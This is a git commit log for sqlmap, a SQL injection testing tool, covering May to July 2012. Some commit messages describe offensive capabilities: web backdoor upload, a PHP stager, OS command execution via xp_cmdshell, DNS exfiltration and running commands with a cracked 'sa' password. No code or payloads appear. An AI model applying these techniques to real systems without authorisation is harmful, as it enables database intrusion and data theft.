Bernardo Damele 224e6376a6 cleanup to README files 2012-07-17 00:32:32 +01:00
Bernardo Damele 7198e3185b Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-17 00:25:08 +01:00
Bernardo Damele 318a01b867 minor typo fixes 2012-07-17 00:25:02 +01:00
Miroslav Stampar d6ceb7af5e Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-17 00:19:52 +02:00
Miroslav Stampar 81d15e5051 Fix for an Issue #101 2012-07-17 00:19:33 +02:00
Bernardo Damele c9bbd14f34 slight update to documentation 2012-07-16 22:58:55 +01:00
Bernardo Damele 5f876bdbbe minor adjustments 2012-07-16 22:50:29 +01:00
Bernardo Damele 8daa9bff43 dual license 2012-07-16 22:42:44 +01:00
Miroslav Stampar c96e44b30c Fix for an Issue #100 2012-07-16 23:28:01 +02:00
Miroslav Stampar ffbbb10abb Support for dotted identificator names 2012-07-16 23:13:21 +02:00
Bernardo Damele 52431402dd minor fix to avoid cleanup() if web backdoor upload failed 2012-07-16 17:58:30 +01:00
Miroslav Stampar e80e51ee48 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-16 16:06:56 +02:00
Miroslav Stampar 0e21cb54de Minor fix related to Issue #94 2012-07-16 16:06:39 +02:00
Bernardo Damele 2cb3b99910 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-16 15:03:16 +01:00
Bernardo Damele 6c1f8ca860 minor update 2012-07-16 15:03:04 +01:00
Miroslav Stampar 1606f5857b Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-16 15:43:20 +02:00
Miroslav Stampar 0f64e1e6c1 Minor update for Issue #94 (not fixing it) 2012-07-16 15:43:02 +02:00
Bernardo Damele f0cec72863 updated FAQ 2012-07-16 14:32:18 +01:00
Miroslav Stampar d3c151133b Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-16 14:12:09 +02:00
Miroslav Stampar 5ab300a28b Update of doc/THANKS 2012-07-16 14:11:53 +02:00
Bernardo Damele e826c14441 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-16 12:07:01 +01:00
Bernardo Damele d066fa6a2c avoid redudancy of information between homepage/README/users manual 2012-07-16 12:06:52 +01:00
Miroslav Stampar 0eff977c63 Refactoring for Issue #91 2012-07-16 12:24:54 +02:00
Miroslav Stampar 4d759984b2 Implementation for Issue #91 2012-07-16 12:12:52 +02:00
Miroslav Stampar c1a14257a4 Removing --disable... switches and making changes in default choice(s) for respectable sections 2012-07-16 11:31:51 +02:00
Miroslav Stampar 07a85874fe Implementation for Issue #92 2012-07-16 11:07:47 +02:00
Bernardo Damele bb8cd788e1 minor fix 2012-07-16 09:56:41 +01:00
Bernardo Damele 88fd1299dc updated FAQ, generated from wikified version (https://github.com/sqlmapproject/sqlmap/wiki/FAQ) with pandoc 2012-07-16 00:33:35 +01:00
Bernardo Damele 299dfdd089 slight adjustment 2012-07-15 21:38:49 +01:00
Bernardo Damele 9b174e4041 started to update the documentation: it is now wikified on https://github.com/sqlmapproject/sqlmap/wiki/_pages and converted to standalone PDF with pandoc - issue #44 2012-07-15 02:29:55 +01:00
Bernardo Damele 4940610f38 removed deprecated metasploit module 2012-07-14 19:27:31 +01:00
Bernardo Damele 05331d1eb0 removed unnecessary files 2012-07-14 18:48:43 +01:00
Miroslav Stampar 87ecf205cb More work for Issue #66 2012-07-14 17:01:04 +02:00
Miroslav Stampar 58de90c118 Work for Issue #66 2012-07-14 16:53:15 +02:00
Miroslav Stampar 38d82771be Minor style update 2012-07-14 11:23:22 +02:00
Miroslav Stampar e9672056cd Minor revert (returning that last \n) 2012-07-14 11:04:46 +02:00
Miroslav Stampar 805120ac52 Minor refactoring 2012-07-14 11:01:30 +02:00
Miroslav Stampar 3f4186ce2c Removing duplicate user password hashes 2012-07-14 10:57:46 +02:00
Miroslav Stampar 9989d26174 Minor style update 2012-07-13 15:26:06 +02:00
Miroslav Stampar 9a7fc24ec2 Minor style update 2012-07-13 15:22:08 +02:00
Miroslav Stampar ddb9caeef1 Revert of the previous commit 2012-07-13 15:05:19 +02:00
Miroslav Stampar d165d5d5fe To not be confused with heuristic method in SQLi 2012-07-13 15:03:43 +02:00
Miroslav Stampar 32b700f130 Minor style update 2012-07-13 15:02:11 +02:00
Miroslav Stampar fbb5db00ba Minor style update 2012-07-13 15:00:39 +02:00
Miroslav Stampar 786686da60 Minor language update 2012-07-13 14:53:42 +02:00
Miroslav Stampar 9ff9c951bc Language update 2012-07-13 14:33:16 +02:00
Miroslav Stampar 6677da63cd Fix for an Issue #88 2012-07-13 14:25:39 +02:00
Miroslav Stampar 3c81f74823 Minor style update 2012-07-13 12:22:37 +02:00
Miroslav Stampar 6ade007aec Minor update of language 2012-07-13 12:13:04 +02:00
Miroslav Stampar c5ecc8b8db Closing work on Issue #83 2012-07-13 11:23:21 +02:00
Miroslav Stampar 48f68bd076 First commit for Issue #83 2012-07-13 10:35:22 +02:00
Miroslav Stampar d834e8debf Minor update 2012-07-13 10:28:03 +02:00
Miroslav Stampar b11fd8b9f7 Fix for an Issue #87 2012-07-13 10:11:16 +02:00
Bernardo Damele 162da75a04 modified homepage address 2012-07-12 18:38:03 +01:00
Miroslav Stampar a49d685eb8 Hidding --beep (Issue #84) 2012-07-12 17:03:24 +02:00
Bernardo Damele ea9c66108e cleanup for issue #68 2012-07-12 15:38:43 +01:00
Miroslav Stampar 569c9214bf Adding support for boldifying important logging messages 2012-07-12 16:30:35 +02:00
Miroslav Stampar b2fe1c30f8 Minority report 2012-07-12 16:04:01 +02:00
Miroslav Stampar 8e18514e56 Minor refactoring for all that stickyness 2012-07-12 15:58:45 +02:00
Bernardo Damele 64143a146f no need for bold error and critical messages, red is already enough 2012-07-12 14:54:05 +01:00
Miroslav Stampar fe61bdce75 Minor update 2012-07-12 15:25:26 +02:00
Miroslav Stampar dbbca16c69 Minor renaming 2012-07-12 15:24:40 +02:00
Miroslav Stampar 9bc24cea6b Dealing with kb.currentMessage issue 2012-07-12 15:23:35 +02:00
Miroslav Stampar b320dc118d Minor fix (recognizing if it's colorizing handler or not) 2012-07-12 14:55:54 +02:00
Miroslav Stampar cba2a26b68 Finishing Issue #75 (inference dumping) 2012-07-12 14:46:57 +02:00
Miroslav Stampar 65639cdda6 First update for Issue #75 (error-based dumping) 2012-07-12 14:31:28 +02:00
Miroslav Stampar 3fd5119f3f Redesigning for Issue #75 2012-07-12 13:42:22 +02:00
Bernardo Damele 3d66e2dfb1 minor bug fix 2012-07-12 10:47:51 +01:00
Bernardo Damele fed178646a minor refactoring 2012-07-12 01:48:07 +01:00
Bernardo Damele 33cbbed4a8 I think we should not resume checkBooleanExpression() calls if --fresh-queries or --flush-session is provided 2012-07-12 01:39:15 +01:00
Bernardo Damele f704a46341 silly blank line added 2012-07-12 01:38:29 +01:00
Bernardo Damele 01474f6272 proper debug message added - issue #75 2012-07-12 01:19:36 +01:00
Bernardo Damele ee3aeb8dcf actual implementation of issue #75, still some work to do 2012-07-12 01:16:00 +01:00
Bernardo Damele 3a94953ae2 leftover from previous commit 2012-07-12 01:15:34 +01:00
Bernardo Damele a5924739f6 minor code refactoring in preparation of ticket #75 2012-07-12 01:12:30 +01:00
Bernardo Damele caeddf6822 avoid unescaping user provided queries (--sql-query, --sql-shell, --sql-file). Before it was only applied to --sql-file 2012-07-12 00:17:07 +01:00
Bernardo Damele 66d854c7d8 leftover space 2012-07-12 00:04:56 +01:00
Bernardo Damele 53c0336b48 added --hostname switch to retrieve DBMS server hostname - closes issue #69 2012-07-12 00:01:57 +01:00
Bernardo Damele 4e64c1126d restored bold on questions to users (calls from readInput()) - issue #77 2012-07-11 22:56:11 +01:00
Bernardo Damele 247f95e051 restored kb.currentMessage - needed in cases where we send to dataToStdout() strings like "." (e.g. "creation in progres ..... done") 2012-07-11 22:48:27 +01:00
Bernardo Damele 2b3ea3e3b7 fixed colouring for PAYLOAD (-v 3) - issue #77 2012-07-11 22:40:52 +01:00
Bernardo Damele 44ad9bd0f6 removed unused commented lines 2012-07-11 22:40:05 +01:00
Miroslav Stampar e673a57311 Fix for that ugly red blank line in CRITICAL messages 2012-07-11 20:49:22 +02:00
Miroslav Stampar 15ee5310d9 Adding traffic in and out to color_map 2012-07-11 20:42:18 +02:00
Miroslav Stampar 43cac2212b Fix for a case when ColorizingStreamHandler is not used 2012-07-11 20:36:32 +02:00
Miroslav Stampar 72378d4f61 Some more refactoring 2012-07-11 20:29:48 +02:00
Miroslav Stampar c6464b44be Some more refactoring 2012-07-11 20:13:23 +02:00
Miroslav Stampar d7926b8aac Minor refactoring 2012-07-11 19:54:21 +02:00
Bernardo Damele 53ccd09ca4 now also readInput() uses colouring 2012-07-11 17:53:32 +01:00
Bernardo Damele 02ec25b4b8 code refactoring 2012-07-11 17:44:23 +01:00
Bernardo Damele 77b275f1a6 conf->kb 2012-07-11 17:32:12 +01:00
Bernardo Damele 1d2c87e24e leftover 2012-07-11 17:22:01 +01:00
Bernardo Damele 105ac8ea77 deleted unnecessary hg file 2012-07-11 17:06:56 +01:00
Bernardo Damele d987cd3ad0 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-11 17:05:01 +01:00
Bernardo Damele 015ea52284 added colorama library, BSD license, http://pypi.python.org/pypi/colorama 2012-07-11 17:04:52 +01:00
Bernardo Damele 79db97753b slightly updated gitignore 2012-07-11 16:54:53 +01:00
Bernardo Damele fa2f6f9a39 colourize manually crafter "logging" messages 2012-07-11 16:48:30 +01:00
Bernardo Damele 412ba5ca1a Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-11 16:45:29 +01:00
Bernardo Damele 9cfea57b10 added termcolor library, MIT license, http://pypi.python.org/pypi/termcolor 2012-07-11 16:45:18 +01:00
Miroslav Stampar 295a7a8e5e Another update for Issue #80 2012-07-11 16:14:20 +02:00
Miroslav Stampar 9a4f8d5f45 Fix for Issue #80 2012-07-11 16:01:25 +02:00
Bernardo Damele 0702dd70b5 verify also that the web backdoor has been successfully uploaded 2012-07-11 14:08:51 +01:00
Bernardo Damele 6f6cd676b7 clean up the file system from sqlmap created web files 2012-07-11 14:07:20 +01:00
Bernardo Damele 0c5f259481 var renaming 2012-07-11 13:39:33 +01:00
Bernardo Damele ff6ca6fb1a colourize the whole log message 2012-07-11 12:18:48 +01:00
Bernardo Damele 31571e6e2d minor refactoring 2012-07-11 11:55:05 +01:00
Miroslav Stampar 9c4a62f725 Some work on Issue #68 2012-07-11 11:58:47 +02:00
Bernardo Damele 115cd3479e minor import fix 2012-07-10 13:13:21 +01:00
Bernardo Damele f219b39980 minor fix in case ctypes is not installed on Windows 2012-07-10 13:08:37 +01:00
Miroslav Stampar 8caffac4bc conf.unescape->kb.unescape 2012-07-10 10:55:04 +02:00
Miroslav Stampar e7f78bf04f Fix for an issue where False value was displayed for --is.. switches 2012-07-10 10:31:14 +02:00
Bernardo Damele ea77e7d9d1 added missing file - issue #77 2012-07-10 03:00:21 +01:00
Bernardo Damele 43e58b63ea modified debug colour - issue #77 2012-07-10 02:58:49 +01:00
Bernardo Damele eb7ffb8f91 setup for implementing logging colouring - issue #77 2012-07-10 02:54:37 +01:00
Bernardo Damele a14b7e6b6b fixed the colors - issue #77 2012-07-10 02:47:35 +01:00
Bernardo Damele 4656d23d82 increased verbosity level of some messages and removed a leftover 2012-07-10 01:43:19 +01:00
Bernardo Damele 00b7411a87 more adjustments for issue #33, of particular importance the fact that the user's provided statement from a file is never unescaped, should be ok 2012-07-10 01:39:03 +01:00
Bernardo Damele 0a3899858d missed in previous commit 2012-07-10 01:37:53 +01:00
Bernardo Damele a27f50ed1d added conf.unescape global variable to control whether or not the injected statements should be unescaped 2012-07-10 01:37:16 +01:00
Bernardo Damele f645ac6040 dealing with variables in SQL procs - issue #33 2012-07-10 01:05:03 +01:00
Bernardo Damele 2527554f8e more work on #33 2012-07-10 00:53:07 +01:00
Bernardo Damele c4af7b9aa0 initial work for issue #33 2012-07-10 00:27:08 +01:00
Bernardo Damele d3da3f5c52 refactoring for issue #51 2012-07-10 00:19:32 +01:00
Bernardo Damele 25eca9d671 finally got this working on MSSQL 2005: commands can now be executed as another user (BULK INSERT must be used in such case, see comments in the code) - issue #34 2012-07-09 14:26:23 +01:00
Bernardo Damele de33a128cb added .sqlmap_history to files to ignore 2012-07-09 13:48:49 +01:00
Bernardo Damele 99c5ea54f7 cleanup for #34 2012-07-09 12:39:43 +01:00
Bernardo Damele d08a54e375 properly display the command stdout 2012-07-09 10:52:48 +01:00
Miroslav Stampar 3ff28e58b4 Update regarding Issue #52 2012-07-08 19:24:25 +02:00
Miroslav Stampar 0d539a876d Minor fix (subversion->github) 2012-07-07 23:49:34 +02:00
Miroslav Stampar a525dd4336 Fix for Issue #72 2012-07-07 19:02:46 +02:00
Miroslav Stampar 54e0a2d8ee --os-shell now works perfect for inference-like techniques too 2012-07-07 17:57:06 +02:00
Miroslav Stampar 823b3d8be8 Minor language fixes 2012-07-07 11:41:52 +02:00
Miroslav Stampar 2669528b24 Language typo 2012-07-07 11:16:33 +02:00
Miroslav Stampar 58f6687194 Some refactoring (reusing xpCmdshellForgeCmd) 2012-07-07 10:51:29 +02:00
Miroslav Stampar 8620767b77 Proper fix 2012-07-07 10:38:07 +02:00
Miroslav Stampar f00a776d8d Minor fix for BigArray (now accepting negative indexes) 2012-07-07 10:35:29 +02:00
Miroslav Stampar 1c69eb5d30 Revert "major fix"
This reverts commit 3a11fc2d9e.
2012-07-07 10:26:13 +02:00
Bernardo Damele 3a11fc2d9e major fix 2012-07-06 22:55:34 +01:00
Miroslav Stampar 8c871476ee Some more refactoring 2012-07-06 17:34:40 +02:00
Miroslav Stampar 86c27cc4f2 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-06 17:28:13 +02:00
Miroslav Stampar 6bc0b34031 Some more refactoring 2012-07-06 17:28:01 +02:00
Miroslav Stampar e948e4d45b Some more refactoring 2012-07-06 17:18:22 +02:00
Miroslav Stampar 1a8ebbfd43 Minor refactoring 2012-07-06 17:05:47 +02:00
Bernardo Damele e673033ac1 minor layout adjustment 2012-07-06 15:26:45 +01:00
Bernardo Damele fb7fe552b7 proper naming 2012-07-06 15:13:50 +01:00
Bernardo Damele 373fea03a3 fixed display of TABs 2012-07-06 15:13:23 +01:00
Miroslav Stampar 438a636973 Fix for issue Issue #60 2012-07-06 15:36:32 +02:00
Miroslav Stampar 76f7f907c6 Minor update for Issue #61 2012-07-06 14:33:40 +02:00
Miroslav Stampar 6a05e3fd79 Fix for Issue #61 2012-07-06 14:24:44 +02:00
Miroslav Stampar 1ebff35b19 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-06 12:25:21 +02:00
Miroslav Stampar 982fcde1c0 Fix for Issue #62 2012-07-06 12:24:55 +02:00
Bernardo Damele 4fa6d51d93 improved issues link 2012-07-05 16:26:50 +01:00
Miroslav Stampar bc5025b06c Fix for Issue #59 2012-07-05 12:34:27 +02:00
Miroslav Stampar c3c1b9e957 Minor restyling 2012-07-04 20:28:18 +02:00
Miroslav Stampar 7ad6697446 Fix for Issue #57 2012-07-04 20:21:44 +02:00
Miroslav Stampar 23fb753759 Finishing work on Issue #52 2012-07-03 22:13:01 +02:00
Miroslav Stampar 40fc6488bf Fix for Issue #56 (Google has changed few things for retrieving PR) 2012-07-03 21:00:18 +02:00
Miroslav Stampar 27fdccc858 Update for Issue #55 (falling back to SELECT DB_NAME(N)) 2012-07-03 20:15:17 +02:00
Miroslav Stampar bbf41f6658 Removing debugging leftover 2012-07-03 16:50:05 +02:00
Miroslav Stampar ada627a022 Another update for Issue #52 2012-07-03 16:49:34 +02:00
Miroslav Stampar 70f754f6c5 Making work on Issue #52 2012-07-03 16:34:11 +02:00
Bernardo Damele 793fa464e3 website url fix 2012-07-03 13:14:39 +01:00
Miroslav Stampar 51f35674ca Removing obsolete switch --version as version is now displayed with every run (Issue #54) 2012-07-03 13:11:09 +02:00
Miroslav Stampar 481b46a004 Restyling output for Issue #52 2012-07-03 13:06:52 +02:00
Miroslav Stampar 6b419067b7 Another minor update for Issue #54 2012-07-03 12:49:35 +02:00
Miroslav Stampar 8b8677b938 Another minor update for Issue #54 2012-07-03 12:29:42 +02:00
Miroslav Stampar 47b6e696d8 Minor update for Issue #54 2012-07-03 12:21:40 +02:00
Miroslav Stampar 3af1532700 Implementation for Issue #54 2012-07-03 12:09:18 +02:00
Miroslav Stampar 5af6ca58a0 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-03 00:50:45 +02:00
Miroslav Stampar 168aeadf76 Adding switch --output-dir (Issue #53) 2012-07-03 00:50:23 +02:00
Bernardo Damele 1bae9955b7 typo, #51 2012-07-02 15:31:25 +01:00
Bernardo Damele cd769ba68f minor adjustments, #51 2012-07-02 15:30:32 +01:00
Bernardo Damele fd4cfb0cc0 working on #51 2012-07-02 15:28:19 +01:00
Bernardo Damele 7335072ab8 leftover 2012-07-02 15:11:21 +01:00
Bernardo Damele 04d803c7fd more tweaking for issue #34, it's totally not as trivial as it may look (OPENROWSET has many limitations on MSSQL >= 2005) 2012-07-02 15:02:00 +01:00
Bernardo Damele b7d2680e55 minor refactoring, issue #51 2012-07-02 12:50:26 +01:00
Miroslav Stampar 8eefe4b71f Getting back revision number - displayed like in GitHub commits (Issue #52) 2012-07-02 13:01:20 +02:00
Bernardo Damele add8352804 make the runAsDBMSUser() generic and ported to abstraction.py so the same function will be used for PostgreSQL dblink() too 2012-07-02 02:14:03 +01:00
Bernardo Damele 6697927098 initial support for --dbms-cred for MSSQL: can be used to execute OS commands as another DB use - useful if you have retrieved and cracked the 'sa' DBA password by any mean and can provide it to sqlmap 2012-07-02 02:04:19 +01:00
Bernardo Damele 87951bcff8 added output/ folder to the ignore list 2012-07-02 01:58:42 +01:00
Bernardo Damele 7b4ecd9df0 added skeleton code for issue #34, still not usable 2012-07-02 00:22:34 +01:00
Bernardo Damele 4736d46677 just in case.. 2012-07-02 00:00:46 +01:00
Bernardo Damele 03d2c9c818 placeholder message when --update is provided, remove when the function is updated to pull changes from git 2012-07-01 23:59:44 +01:00
Bernardo Damele 18be319d13 hexencoding the command is much shorter than unescaping with CHAR() for MSSQL, also no need for spaces between nested comments when forging the xp_cmdshell command to run 2012-07-01 23:41:10 +01:00
Bernardo Damele ff9e97a42c minor code refactoring 2012-07-01 23:31:45 +01:00
Bernardo Damele ab412da27f I am back on stage and here to stay!!! to start.. a removal of confirm switch which masked cases where file write operations failed when set to False automatically, now at least it asks the user and defaults to Yes 2012-07-01 23:25:05 +01:00
Miroslav Stampar d7cd55fb28 Fix for Issue #47 2012-07-01 11:05:04 +02:00
Miroslav Stampar 21d9ae0a2c some more refactoring 2012-07-01 01:19:54 +02:00
Miroslav Stampar f6509db31a minor refactoring 2012-07-01 00:33:19 +02:00
Miroslav Stampar 32f52cdd04 Another language update for Issue #45 2012-06-29 10:33:54 +02:00
Miroslav Stampar f0e39c3fae Language update for Issue #45 2012-06-29 10:33:00 +02:00
Miroslav Stampar c0f16f0c1a Fix for Issue #45 2012-06-29 10:31:03 +02:00
Miroslav Stampar e51d3a02f1 Update for Issue #43 (renamed --disable-cracking to --disable-hash) 2012-06-28 18:53:47 +02:00
Miroslav Stampar 18b596ea75 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-06-28 18:48:18 +02:00
Miroslav Stampar c8bac658f3 Fix for Issue #43 2012-06-28 18:47:55 +02:00
Bernardo Damele 2551be121f removed trailing newline 2012-06-28 14:31:30 +01:00
Miroslav Stampar 2a72fcce2b Fix for Issue #42 2012-06-28 13:55:30 +02:00
Miroslav Stampar f495cfa139 minor update 2012-06-27 23:32:16 +02:00
jekil c39e5a85ba Removed $id$ tags 2012-06-27 20:56:43 +02:00
Bernardo Damele c0b9cf539f moved udfhack to its own repository, https://github.com/sqlmapproject/udfhack 2012-06-27 15:15:11 +01:00
Bernardo Damele 19ff801d29 added .gitignore 2012-06-27 15:13:30 +01:00
Miroslav Stampar 1ebaeeb216 Syncing changes with those on gh-pages 2012-06-27 14:47:49 +02:00
Miroslav Stampar 303aa10507 only a small update 2012-06-27 14:43:18 +02:00
Bernardo Damele 4da2a3a8ac minor adjustment to README file 2012-06-27 10:46:37 +01:00
Bernardo Damele 3af8e2302e minor adjustment to README file 2012-06-27 10:43:38 +01:00
Bernardo Damele 72bba0c735 minor adjustment to README file 2012-06-27 10:42:42 +01:00
Bernardo Damele 17d6a62f4e minor adjustment to README file 2012-06-27 10:41:52 +01:00
Bernardo Damele 2fc0f20d5e minor adjustment to README file 2012-06-27 10:40:50 +01:00
Bernardo Damele 397b7758e3 minor adjustment to README file 2012-06-27 10:37:18 +01:00
Bernardo Damele 7780a76848 minor adjustment to README file 2012-06-27 10:15:39 +01:00
Bernardo Damele 1582f4cb17 added README file 2012-06-27 10:15:09 +01:00
Bernardo Damele d6538985fc added README file 2012-06-27 10:12:48 +01:00
Miroslav Stampar eef2fc109a test 2012-06-26 19:01:37 +02:00
inquisb 752c1632aa Slight update to the user's manual following migration from Subversion to Git 2012-06-26 17:42:01 +01:00
Miroslav Stampar 1da6ae660c adding a few more common tables 2012-06-25 16:39:36 +00:00
Miroslav Stampar 01be9381d5 minor update 2012-06-25 16:24:33 +00:00
Miroslav Stampar 6c4bd84d18 minor fix (turning back the functionality of kb.suppressResumeInfo) 2012-06-25 16:19:51 +00:00
Miroslav Stampar ea5d483c86 session file no more 2012-06-21 11:19:30 +00:00
Miroslav Stampar 7dc4fc333f making PHP stager smaller by 100 chars 2012-06-21 10:46:45 +00:00
Miroslav Stampar ec44e88db8 lots of refactoring regarding removal of already obsolete session file mechanism 2012-06-21 10:09:10 +00:00
Miroslav Stampar 1e67b4f0b9 minor fix 2012-06-20 14:16:26 +00:00
Miroslav Stampar 302d782a0f minor style update 2012-06-19 08:33:51 +00:00
Miroslav Stampar 452ef202ae minor fixes 2012-06-17 22:48:23 +00:00
Miroslav Stampar b9f6943a42 minor update 2012-06-17 21:23:12 +00:00
Miroslav Stampar e2a60b302f minor fix 2012-06-17 21:21:45 +00:00
Miroslav Stampar 3da8f86e97 minor fix 2012-06-15 21:01:27 +00:00
Miroslav Stampar fe49abd45f minor fix 2012-06-15 20:49:28 +00:00
Miroslav Stampar 06be7bbb18 few just in case fixes (unarrayizeValue in dumpTable entries) and and some refactoring (unique is now not done for every union case but only if detected that there are duplicates in union test) 2012-06-15 20:41:53 +00:00
Miroslav Stampar 76c873a222 minor fix 2012-06-15 06:22:44 +00:00
Miroslav Stampar 76584ff0fa unhidding --test-filter 2012-06-14 14:36:53 +00:00
Miroslav Stampar d2dd47fb23 some more refactoring 2012-06-14 13:52:56 +00:00
Miroslav Stampar facce2c0df some more cleanup 2012-06-14 13:50:36 +00:00
Miroslav Stampar d5e80089ff minor summer cleanup 2012-06-14 13:44:16 +00:00
Miroslav Stampar 3a90105fbb minor refactoring 2012-06-14 13:38:53 +00:00
Miroslav Stampar 1204eb00b2 minor fix 2012-06-14 12:46:32 +00:00
Miroslav Stampar 19c0efec59 just a minor refactoring 2012-06-14 09:10:28 +00:00
Miroslav Stampar a51d8c4c79 replacing identifier safe char " with [] enclosing for MsSQL 2012-06-13 15:27:42 +00:00
Miroslav Stampar 367de838c1 minor update 2012-06-13 14:08:32 +00:00
Miroslav Stampar 4ac3794e80 minor update 2012-06-12 14:22:14 +00:00
Miroslav Stampar 5d35d255ba minor refactoring 2012-06-11 22:27:33 +00:00
Miroslav Stampar d7f698fa14 minor update 2012-06-11 22:01:13 +00:00
Miroslav Stampar 96177393e1 minor update regarding --exact switch 2012-06-10 13:38:12 +00:00
Miroslav Stampar b85a1fc271 minor fix 2012-06-05 22:55:42 +00:00
Miroslav Stampar 058a9c59a2 fix for a bug noticed in a multi target run (log files weren't saved properly - removed buffering as it didn't produce any noticeable results) 2012-06-05 22:40:55 +00:00
Miroslav Stampar f94ebe3107 minor fix (credentials were only set for the first target) 2012-06-04 22:30:12 +00:00
Miroslav Stampar 738073105e minor updates 2012-06-04 19:52:51 +00:00
Miroslav Stampar 7b282b1d6c adding support for newer SSL protocols 2012-06-04 19:46:28 +00:00
Miroslav Stampar 10b0639a96 making a "--exact" switch on demand (choosing exact identifier names by default instead of LIKE) 2012-06-04 09:24:46 +00:00
Miroslav Stampar 76a4aa19ac some more fine tunning 2012-05-28 19:50:12 +00:00
Miroslav Stampar 73dba249e8 one more just in case update 2012-05-28 19:34:47 +00:00
Miroslav Stampar efb406fbfc minor revert 2012-05-28 19:13:50 +00:00
Miroslav Stampar f7cba8d2cb minor update 2012-05-28 18:05:15 +00:00
Miroslav Stampar a72cb29c1f taking care of few issues regarding reverse address lookup of localhost/127.0.0.1 at remote DNS server 2012-05-28 16:57:10 +00:00
Miroslav Stampar 190ae4ca13 no need for conf.timeSec value as inference is always evaluated to False in DNS (large random values used for > ...) 2012-05-28 15:10:17 +00:00
Miroslav Stampar 89e90c3d84 revert of last commit 2012-05-28 15:01:56 +00:00
Miroslav Stampar 96c84e6e5b minor update 2012-05-28 15:00:06 +00:00
Miroslav Stampar a70a647aeb few fixes regarding --dns-domain usage (time-based technique should not be used as a failback because of few things, --time-sec should be put to 0 just in case,...) 2012-05-28 14:51:23 +00:00
Miroslav Stampar b1d82422a0 changing conf.dnsDomain to conf.dName just because of long text problems in help listing 2012-05-28 14:15:04 +00:00
Miroslav Stampar d2bbfa4aad minor style update 2012-05-28 14:04:17 +00:00
Miroslav Stampar 226547b7dc minor fix for --skip-urlencode and custom post 2012-05-28 09:04:25 +00:00
Miroslav Stampar 75dd1d6a2b minor fix 2012-05-27 21:54:56 +00:00
Miroslav Stampar e967bbd70f minor patch 2012-05-27 21:44:42 +00:00
Miroslav Stampar 76eeba10e2 unhiding --dns-domain switch 2012-05-27 18:41:06 +00:00
Miroslav Stampar fed0212631 now working with recursive queries too 2012-05-27 10:03:02 +00:00
Miroslav Stampar 71ff081fde minor update 2012-05-27 09:11:19 +00:00
Miroslav Stampar 09f2144485 full page read is not needed in DNS exfiltration mode 2012-05-26 21:28:43 +00:00
Miroslav Stampar 4e6fcce9ca minor update 2012-05-26 07:04:32 +00:00
Miroslav Stampar ce077137c9 minor language update 2012-05-26 07:01:37 +00:00
Miroslav Stampar d335ec0c34 turning back on time auto-adjustment mechanism (if turned off) after a threshold run of valid chars 2012-05-26 07:00:26 +00:00
Miroslav Stampar 00d22f013f some consistency in variable naming at the file level 2012-05-25 10:08:55 +00:00
Miroslav Stampar db526bdbc0 minor update (tainted values are not checked any more in multipleTargets mode) 2012-05-25 09:52:17 +00:00
Miroslav Stampar dc20bff1d0 minor update 2012-05-25 08:30:24 +00:00
Miroslav Stampar c394610740 adding switch --skip-urlencode to skip URL encoding of POST data 2012-05-24 23:30:33 +00:00
Miroslav Stampar 7657bbeaf9 minor update 2012-05-24 22:32:06 +00:00
Miroslav Stampar 86fdad2bfa minor update 2012-05-24 22:07:50 +00:00
Miroslav Stampar eed8d7eb5d finalizing support for IPv6 2012-05-24 21:55:57 +00:00
Miroslav Stampar b6d37d766a minor update regarding IPv6 support 2012-05-24 21:49:20 +00:00
Miroslav Stampar 92286104e3 minor just in case update 2012-05-24 21:39:10 +00:00
Miroslav Stampar 3e9c57d177 minor fix 2012-05-24 21:36:35 +00:00
Miroslav Stampar be76928293 minor fix 2012-05-24 20:53:01 +00:00
Miroslav Stampar 3f6bc1f3c2 minor fix 2012-05-24 18:05:33 +00:00
Miroslav Stampar 1e18168cc8 fix for one silent bug and small language update 2012-05-23 16:35:40 +00:00
Miroslav Stampar 2538e2d5b4 fixing an issue with --file-read and ROW() MySQL payload (it's internal caching mechanism prevents error message if FROM part is not unique enough dumping only partial file content); minor refactoring 2012-05-22 09:33:22 +00:00
Miroslav Stampar 2c057d5b3d minor style update 2012-05-21 22:40:52 +00:00
Miroslav Stampar 3a9e266d78 adding revisited wildcard LIKE payloads 2012-05-21 21:49:54 +00:00
Miroslav Stampar 602369c762 reverting last changes on boundaries 2012-05-21 09:20:46 +00:00
Miroslav Stampar 588d829be6 update of doc/THANKS 2012-05-21 08:34:12 +00:00
Miroslav Stampar 1500b3fccd adding a new payload boundaries by [email protected] 2012-05-21 08:31:37 +00:00
Miroslav Stampar 0e8d8577a7 adding a DB2 patch from [email protected] 2012-05-21 08:26:19 +00:00
Miroslav Stampar 079e0e1434 minor bug fix 2012-05-18 08:51:50 +00:00
Miroslav Stampar bbfa4b6d5d minor update 2012-05-14 14:38:16 +00:00
Miroslav Stampar 333f8057a5 minor fix (when redirected path has non-ASCII char and conf.url is unicode) and bits along with pieces 2012-05-14 14:06:43 +00:00
Miroslav Stampar 595f69fa2c minor language update 2012-05-10 18:30:25 +00:00
Miroslav Stampar 35f400b45b minor language upgrade 2012-05-10 18:25:12 +00:00
Miroslav Stampar 80aedbe284 adding a warning about --tor switch 2012-05-10 18:17:32 +00:00
Miroslav Stampar b81fe42d4b turning off null connection on -o when --tor used (not compatible) 2012-05-10 17:50:54 +00:00
Miroslav Stampar efdd86ddcc minor just in case patch 2012-05-10 14:22:34 +00:00
Miroslav Stampar 6367f59b98 minor code refactoring 2012-05-10 14:15:17 +00:00
Miroslav Stampar 12d32f58f2 fix for that SOAP reported bug 2012-05-10 13:39:54 +00:00
Miroslav Stampar 1418ae9767 little refactoring of parseUnionPage together with a patch for some special case 2012-05-09 18:47:40 +00:00
Miroslav Stampar 7fb1f3fc70 minor renaming 2012-05-09 18:26:02 +00:00
Miroslav Stampar 11d9859199 making nice code 2012-05-09 18:25:04 +00:00
Miroslav Stampar b0a8238774 minor fixes 2012-05-09 14:58:16 +00:00
Miroslav Stampar 9fa3619262 minor fix 2012-05-09 14:00:07 +00:00
